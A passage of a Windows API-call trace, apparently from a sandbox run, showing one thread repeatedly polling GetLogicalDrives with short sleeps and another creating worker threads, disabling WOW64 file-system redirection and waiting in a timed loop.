GetLogicalDrives () returned 0x4 [0169.718] Sleep (dwMilliseconds=0x64) [0169.828] GetLogicalDrives () returned 0x4 [0169.828] Sleep (dwMilliseconds=0x64) [0169.935] GetLogicalDrives () returned 0x4 [0169.936] Sleep (dwMilliseconds=0x64) [0170.045] GetLogicalDrives () returned 0x4 [0170.045] Sleep (dwMilliseconds=0x64) [0170.155] GetLogicalDrives () returned 0x4 [0170.155] Sleep (dwMilliseconds=0x64) [0170.265] GetLogicalDrives () returned 0x4 [0170.265] Sleep (dwMilliseconds=0x64) [0170.390] GetLogicalDrives () returned 0x4 [0170.390] Sleep (dwMilliseconds=0x64) [0170.500] GetLogicalDrives () returned 0x4 [0170.500] Sleep (dwMilliseconds=0x64) [0170.608] GetLogicalDrives () returned 0x4 [0170.608] Sleep (dwMilliseconds=0x64) [0170.718] GetLogicalDrives () returned 0x4 [0170.718] Sleep (dwMilliseconds=0x64) [0170.826] GetLogicalDrives () returned 0x4 [0170.826] Sleep (dwMilliseconds=0x64) [0170.937] GetLogicalDrives () returned 0x4 [0170.937] Sleep (dwMilliseconds=0x64) [0171.048] GetLogicalDrives () returned 0x4 [0171.048] Sleep (dwMilliseconds=0x64) [0171.156] GetLogicalDrives () returned 0x4 [0171.156] Sleep (dwMilliseconds=0x64) [0171.279] GetLogicalDrives () returned 0x4 [0171.279] Sleep (dwMilliseconds=0x64) [0171.390] GetLogicalDrives () returned 0x4 [0171.390] Sleep (dwMilliseconds=0x64) [0171.498] GetLogicalDrives () returned 0x4 [0171.498] Sleep (dwMilliseconds=0x64) [0171.610] GetLogicalDrives () returned 0x4 [0171.610] Sleep (dwMilliseconds=0x64) [0171.717] GetLogicalDrives () returned 0x4 [0171.717] Sleep (dwMilliseconds=0x64) [0171.827] GetLogicalDrives () returned 0x4 [0171.827] Sleep (dwMilliseconds=0x64) [0171.936] GetLogicalDrives () returned 0x4 [0171.936] Sleep (dwMilliseconds=0x64) [0172.045] GetLogicalDrives () returned 0x4 [0172.045] Sleep (dwMilliseconds=0x64) [0172.155] GetLogicalDrives () returned 0x4 [0172.155] Sleep (dwMilliseconds=0x64) [0172.264] GetLogicalDrives () returned 0x4 [0172.264] Sleep (dwMilliseconds=0x64) [0172.374] GetLogicalDrives () returned 0x4 [0172.374] Sleep (dwMilliseconds=0x64) [0172.483] GetLogicalDrives () returned 0x4 [0172.483] Sleep (dwMilliseconds=0x64) [0172.593] GetLogicalDrives () returned 0x4 [0172.593] Sleep (dwMilliseconds=0x64) [0172.703] GetLogicalDrives () returned 0x4 [0172.703] Sleep (dwMilliseconds=0x64) [0172.811] GetLogicalDrives () returned 0x4 [0172.811] Sleep (dwMilliseconds=0x64) [0172.920] GetLogicalDrives () returned 0x4 [0172.920] Sleep (dwMilliseconds=0x64) [0173.030] GetLogicalDrives () returned 0x4 [0173.030] Sleep (dwMilliseconds=0x64) [0173.139] GetLogicalDrives () returned 0x4 [0173.139] Sleep (dwMilliseconds=0x64) [0173.248] GetLogicalDrives () returned 0x4 [0173.248] Sleep (dwMilliseconds=0x64) [0173.366] GetLogicalDrives () returned 0x4 [0173.366] Sleep (dwMilliseconds=0x64) [0173.469] GetLogicalDrives () returned 0x4 [0173.469] Sleep (dwMilliseconds=0x64) [0173.582] GetLogicalDrives () returned 0x4 [0173.582] Sleep (dwMilliseconds=0x64) [0173.685] GetLogicalDrives () returned 0x4 [0173.685] Sleep (dwMilliseconds=0x64) [0173.795] GetLogicalDrives () returned 0x4 [0173.795] Sleep (dwMilliseconds=0x64) [0173.904] GetLogicalDrives () returned 0x4 [0173.904] Sleep (dwMilliseconds=0x64) [0174.014] GetLogicalDrives () returned 0x4 [0174.014] Sleep (dwMilliseconds=0x64) [0174.124] GetLogicalDrives () returned 0x4 [0174.124] Sleep (dwMilliseconds=0x64) [0174.232] GetLogicalDrives () returned 0x4 [0174.232] Sleep (dwMilliseconds=0x64) [0174.343] GetLogicalDrives () returned 0x4 [0174.343] Sleep (dwMilliseconds=0x64) [0174.513] GetLogicalDrives () returned 0x4 [0174.513] Sleep (dwMilliseconds=0x64) [0174.662] GetLogicalDrives () returned 0x4 [0174.662] Sleep (dwMilliseconds=0x64) [0174.797] GetLogicalDrives () returned 0x4 [0174.797] Sleep (dwMilliseconds=0x64) [0174.904] GetLogicalDrives () returned 0x4 [0174.904] Sleep (dwMilliseconds=0x64) [0175.013] GetLogicalDrives () returned 0x4 [0175.013] Sleep (dwMilliseconds=0x64) [0175.123] GetLogicalDrives () returned 0x4 [0175.123] Sleep (dwMilliseconds=0x64) [0175.233] GetLogicalDrives () returned 0x4 [0175.233] Sleep (dwMilliseconds=0x64) [0175.364] GetLogicalDrives () returned 0x4 [0175.364] Sleep (dwMilliseconds=0x64) [0175.469] GetLogicalDrives () returned 0x4 [0175.469] Sleep (dwMilliseconds=0x64) [0175.576] GetLogicalDrives () returned 0x4 [0175.576] Sleep (dwMilliseconds=0x64) [0175.685] GetLogicalDrives () returned 0x4 [0175.685] Sleep (dwMilliseconds=0x64) [0175.795] GetLogicalDrives () returned 0x4 [0175.795] Sleep (dwMilliseconds=0x64) [0175.905] GetLogicalDrives () returned 0x4 [0175.905] Sleep (dwMilliseconds=0x64) [0176.013] GetLogicalDrives () returned 0x4 [0176.013] Sleep (dwMilliseconds=0x64) [0176.123] GetLogicalDrives () returned 0x4 [0176.123] Sleep (dwMilliseconds=0x64) [0176.233] GetLogicalDrives () returned 0x4 [0176.233] Sleep (dwMilliseconds=0x64) [0176.342] GetLogicalDrives () returned 0x4 [0176.342] Sleep (dwMilliseconds=0x64) [0176.451] GetLogicalDrives () returned 0x4 [0176.451] Sleep (dwMilliseconds=0x64) [0176.560] GetLogicalDrives () returned 0x4 [0176.560] Sleep (dwMilliseconds=0x64) [0176.670] GetLogicalDrives () returned 0x4 [0176.670] Sleep (dwMilliseconds=0x64) [0176.779] GetLogicalDrives () returned 0x4 [0176.779] Sleep (dwMilliseconds=0x64) [0176.892] GetLogicalDrives () returned 0x4 [0176.892] Sleep (dwMilliseconds=0x64) [0176.999] GetLogicalDrives () returned 0x4 [0176.999] Sleep (dwMilliseconds=0x64) [0177.107] GetLogicalDrives () returned 0x4 [0177.107] Sleep (dwMilliseconds=0x64) [0177.217] GetLogicalDrives () returned 0x4 [0177.217] Sleep (dwMilliseconds=0x64) [0177.343] GetLogicalDrives () returned 0x4 [0177.343] Sleep (dwMilliseconds=0x64) [0177.454] GetLogicalDrives () returned 0x4 [0177.454] Sleep (dwMilliseconds=0x64) [0177.561] GetLogicalDrives () returned 0x4 [0177.561] Sleep (dwMilliseconds=0x64) [0177.702] GetLogicalDrives () returned 0x4 [0177.702] Sleep (dwMilliseconds=0x64) [0177.813] GetLogicalDrives () returned 0x4 [0177.813] Sleep (dwMilliseconds=0x64) [0177.924] GetLogicalDrives () returned 0x4 [0177.924] Sleep (dwMilliseconds=0x64) [0178.031] GetLogicalDrives () returned 0x4 [0178.031] Sleep (dwMilliseconds=0x64) [0178.140] GetLogicalDrives () returned 0x4 [0178.140] Sleep (dwMilliseconds=0x64) [0178.248] GetLogicalDrives () returned 0x4 [0178.248] Sleep (dwMilliseconds=0x64) [0178.364] GetLogicalDrives () returned 0x4 [0178.364] Sleep (dwMilliseconds=0x64) [0178.483] GetLogicalDrives () returned 0x4 [0178.483] Sleep (dwMilliseconds=0x64) [0178.593] GetLogicalDrives () returned 0x4 [0178.593] Sleep (dwMilliseconds=0x64) [0178.702] GetLogicalDrives () returned 0x4 [0178.702] Sleep (dwMilliseconds=0x64) [0178.812] GetLogicalDrives () returned 0x4 [0178.812] Sleep (dwMilliseconds=0x64) [0178.920] GetLogicalDrives () returned 0x4 [0178.920] Sleep (dwMilliseconds=0x64) [0179.029] GetLogicalDrives () returned 0x4 [0179.029] Sleep (dwMilliseconds=0x64) [0179.140] GetLogicalDrives () returned 0x4 [0179.140] Sleep (dwMilliseconds=0x64) [0179.248] GetLogicalDrives () returned 0x4 [0179.248] Sleep (dwMilliseconds=0x64) [0179.366] GetLogicalDrives () returned 0x4 [0179.366] Sleep (dwMilliseconds=0x64) [0179.467] GetLogicalDrives () returned 0x4 [0179.467] Sleep (dwMilliseconds=0x64) [0179.577] GetLogicalDrives () returned 0x4 [0179.577] Sleep (dwMilliseconds=0x64) [0179.690] GetLogicalDrives () returned 0x4 [0179.690] Sleep (dwMilliseconds=0x64) [0179.797] GetLogicalDrives () returned 0x4 [0179.797] Sleep (dwMilliseconds=0x64) [0179.904] GetLogicalDrives () returned 0x4 [0179.904] Sleep (dwMilliseconds=0x64) [0180.017] GetLogicalDrives () returned 0x4 [0180.017] Sleep (dwMilliseconds=0x64) [0180.124] GetLogicalDrives () returned 0x4 [0180.124] Sleep (dwMilliseconds=0x64) [0180.233] GetLogicalDrives () returned 0x4 [0180.233] Sleep (dwMilliseconds=0x64) [0180.342] GetLogicalDrives () returned 0x4 [0180.342] Sleep (dwMilliseconds=0x64) [0180.451] GetLogicalDrives () returned 0x4 [0180.451] Sleep (dwMilliseconds=0x64) [0180.561] GetLogicalDrives () returned 0x4 [0180.561] Sleep (dwMilliseconds=0x64) [0180.670] GetLogicalDrives () returned 0x4 [0180.670] Sleep (dwMilliseconds=0x64) [0180.779] GetLogicalDrives () returned 0x4 [0180.779] Sleep (dwMilliseconds=0x64) [0180.891] GetLogicalDrives () returned 0x4 [0180.891] Sleep (dwMilliseconds=0x64) Thread: id = 280 os_tid = 0x34c [0147.579] GetTickCount () returned 0x11650b7 [0147.579] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x70a280 [0147.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0147.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0147.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0147.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70a280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0147.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x709200 [0147.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x709200, Size=0x20) returned 0x6eec98 [0147.581] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x709428 [0147.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x709428, Size=0x20) returned 0x6eeb08 [0147.581] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.581] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.581] Wow64DisableWow64FsRedirection (in: OldValue=0x284ff7c | out: OldValue=0x284ff7c*=0x0) returned 1 [0147.581] lstrlenW (lpString="kernel32.dll") returned 12 [0147.581] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.581] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.581] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6f64f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0147.582] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0147.747] GetTickCount () returned 0x1165163 [0147.747] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0147.980] GetTickCount () returned 0x116524e [0147.980] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0148.493] GetTickCount () returned 0x1165451 [0148.493] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0148.965] GetTickCount () returned 0x1165626 [0148.965] GetTickCount () returned 0x1165626 [0148.965] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0149.377] GetTickCount () returned 0x11657cc [0149.377] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0149.743] GetTickCount () returned 0x1165933 [0149.743] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0150.260] GetTickCount () returned 0x1165b37 [0150.260] GetTickCount () returned 0x1165b37 [0150.260] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0150.779] GetTickCount () returned 0x1165d3b [0150.779] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0151.035] GetTickCount () returned 0x1165e44 [0151.035] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0151.558] GetTickCount () returned 0x1166048 [0151.558] GetTickCount () returned 0x1166048 [0151.558] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0152.171] GetTickCount () returned 0x11662a9 [0152.171] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0152.469] GetTickCount () returned 0x11663d2 [0152.469] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0153.104] GetTickCount () returned 0x1166653 [0153.104] GetTickCount () returned 0x1166653 [0153.104] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0153.718] GetTickCount () returned 0x11668c4 [0153.718] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0154.043] GetTickCount () returned 0x11669fc [0154.043] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0154.390] GetTickCount () returned 0x1166b54 [0154.390] GetTickCount () returned 0x1166b54 [0154.390] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0154.904] GetTickCount () returned 0x1166d58 [0154.904] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0155.469] GetTickCount () returned 0x1166f8a [0155.469] GetTickCount () returned 0x1166f8a [0155.469] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0155.735] GetTickCount () returned 0x11670d2 [0155.800] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0156.147] GetTickCount () returned 0x116722a [0156.147] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0156.746] GetTickCount () returned 0x116748b [0156.746] GetTickCount () returned 0x116748b [0156.746] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0157.136] GetTickCount () returned 0x1167612 [0157.136] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0157.608] GetTickCount () returned 0x11677e7 [0157.608] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0158.118] GetTickCount () returned 0x11679db [0158.118] GetTickCount () returned 0x11679db [0158.118] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0158.654] GetTickCount () returned 0x1167bfe [0158.654] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0159.140] GetTickCount () returned 0x1167de2 [0159.140] GetTickCount () returned 0x1167de2 [0159.140] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0159.482] GetTickCount () returned 0x1167f3a [0159.482] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0160.210] GetTickCount () returned 0x1168218 [0160.210] GetTickCount () returned 0x1168218 [0160.210] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0160.693] GetTickCount () returned 0x11683fc [0160.693] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0161.214] GetTickCount () returned 0x1168600 [0161.214] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0161.774] GetTickCount () returned 0x1168833 [0161.774] GetTickCount () returned 0x1168833 [0161.786] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0162.191] GetTickCount () returned 0x11689d8 [0162.191] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0162.711] GetTickCount () returned 0x1168bdc [0162.711] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0163.160] GetTickCount () returned 0x1168da1 [0163.160] GetTickCount () returned 0x1168da1 [0163.160] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0163.489] GetTickCount () returned 0x1168eda [0163.490] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0163.947] GetTickCount () returned 0x116909f [0163.947] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0164.467] GetTickCount () returned 0x11692b2 [0164.467] GetTickCount () returned 0x11692b2 [0164.467] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0164.986] GetTickCount () returned 0x11694b6 [0164.986] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0165.345] GetTickCount () returned 0x116961d [0165.345] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0165.458] GetTickCount () returned 0x116968a [0165.458] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0165.564] GetTickCount () returned 0x11696f8 [0165.564] GetTickCount () returned 0x11696f8 [0165.564] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0165.672] GetTickCount () returned 0x1169765 [0165.672] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0165.786] GetTickCount () returned 0x11697d3 [0165.786] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0165.893] GetTickCount () returned 0x1169840 [0165.893] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.016] GetTickCount () returned 0x11698bd [0166.016] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.125] GetTickCount () returned 0x116992a [0166.125] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.232] GetTickCount () returned 0x1169998 [0166.232] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.343] GetTickCount () returned 0x1169a05 [0166.343] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.474] GetTickCount () returned 0x1169a82 [0166.474] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.615] GetTickCount () returned 0x1169b1e [0166.615] GetTickCount () returned 0x1169b1e [0166.615] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.717] GetTickCount () returned 0x1169b7c [0166.717] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.840] GetTickCount () returned 0x1169be9 [0166.840] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0166.938] GetTickCount () returned 0x1169c57 [0166.938] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.049] GetTickCount () returned 0x1169cc4 [0167.049] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.155] GetTickCount () returned 0x1169d32 [0167.155] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.282] GetTickCount () returned 0x1169daf [0167.282] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.393] GetTickCount () returned 0x1169e1c [0167.393] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.502] GetTickCount () returned 0x1169e89 [0167.502] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.609] GetTickCount () returned 0x1169ef7 [0167.609] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.720] GetTickCount () returned 0x1169f64 [0167.720] GetTickCount () returned 0x1169f64 [0167.720] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.828] GetTickCount () returned 0x1169fd1 [0167.828] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0167.936] GetTickCount () returned 0x116a03f [0167.936] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.046] GetTickCount () returned 0x116a0ac [0168.046] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.154] GetTickCount () returned 0x116a11a [0168.154] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.265] GetTickCount () returned 0x116a187 [0168.265] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.389] GetTickCount () returned 0x116a204 [0168.389] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.499] GetTickCount () returned 0x116a271 [0168.499] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.609] GetTickCount () returned 0x116a2df [0168.609] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.719] GetTickCount () returned 0x116a34c [0168.719] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.828] GetTickCount () returned 0x116a3b9 [0168.828] GetTickCount () returned 0x116a3b9 [0168.828] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0168.941] GetTickCount () returned 0x116a427 [0168.941] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.045] GetTickCount () returned 0x116a494 [0169.045] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.155] GetTickCount () returned 0x116a502 [0169.155] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.269] GetTickCount () returned 0x116a56f [0169.269] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.389] GetTickCount () returned 0x116a5ec [0169.389] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.503] GetTickCount () returned 0x116a659 [0169.503] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.609] GetTickCount () returned 0x116a6c7 [0169.609] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.718] GetTickCount () returned 0x116a734 [0169.718] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.829] GetTickCount () returned 0x116a7a1 [0169.829] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0169.936] GetTickCount () returned 0x116a80f [0169.936] GetTickCount () returned 0x116a80f [0169.936] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.045] GetTickCount () returned 0x116a87c [0170.045] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.155] GetTickCount () returned 0x116a8ea [0170.155] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.265] GetTickCount () returned 0x116a957 [0170.265] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.390] GetTickCount () returned 0x116a9d4 [0170.390] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.500] GetTickCount () returned 0x116aa41 [0170.500] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.608] GetTickCount () returned 0x116aaaf [0170.608] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.718] GetTickCount () returned 0x116ab1c [0170.718] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.826] GetTickCount () returned 0x116ab89 [0170.826] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0170.938] GetTickCount () returned 0x116abf7 [0170.938] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.048] GetTickCount () returned 0x116ac64 [0171.048] GetTickCount () returned 0x116ac64 [0171.048] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.156] GetTickCount () returned 0x116acd2 [0171.156] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.279] GetTickCount () returned 0x116ad4f [0171.279] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.390] GetTickCount () returned 0x116adbc [0171.390] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.498] GetTickCount () returned 0x116ae29 [0171.498] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.610] GetTickCount () returned 0x116ae97 [0171.610] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.717] GetTickCount () returned 0x116af04 [0171.717] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.827] GetTickCount () returned 0x116af71 [0171.827] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0171.937] GetTickCount () returned 0x116afdf [0171.937] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.045] GetTickCount () returned 0x116b04c [0172.045] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.155] GetTickCount () returned 0x116b0ba [0172.156] GetTickCount () returned 0x116b0ba [0172.156] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.264] GetTickCount () returned 0x116b127 [0172.264] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.374] GetTickCount () returned 0x116b194 [0172.374] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.483] GetTickCount () returned 0x116b202 [0172.483] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.593] GetTickCount () returned 0x116b26f [0172.593] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.703] GetTickCount () returned 0x116b2dc [0172.703] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.811] GetTickCount () returned 0x116b34a [0172.811] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0172.920] GetTickCount () returned 0x116b3b7 [0172.920] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.030] GetTickCount () returned 0x116b425 [0173.030] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.139] GetTickCount () returned 0x116b4a2 [0173.140] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.248] GetTickCount () returned 0x116b4ff [0173.248] GetTickCount () returned 0x116b4ff [0173.248] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.366] GetTickCount () returned 0x116b56d [0173.366] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.470] GetTickCount () returned 0x116b5da [0173.470] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.582] GetTickCount () returned 0x116b647 [0173.582] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.685] GetTickCount () returned 0x116b6b5 [0173.685] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.795] GetTickCount () returned 0x116b722 [0173.795] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0173.904] GetTickCount () returned 0x116b790 [0173.904] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.014] GetTickCount () returned 0x116b7fd [0174.014] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.124] GetTickCount () returned 0x116b86a [0174.124] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.232] GetTickCount () returned 0x116b8d8 [0174.232] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.344] GetTickCount () returned 0x116b945 [0174.344] GetTickCount () returned 0x116b945 [0174.344] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.514] GetTickCount () returned 0x116b9f1 [0174.514] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0174.662] GetTickCount () returned 0x116ba8d [0174.662] WaitForSingleObject 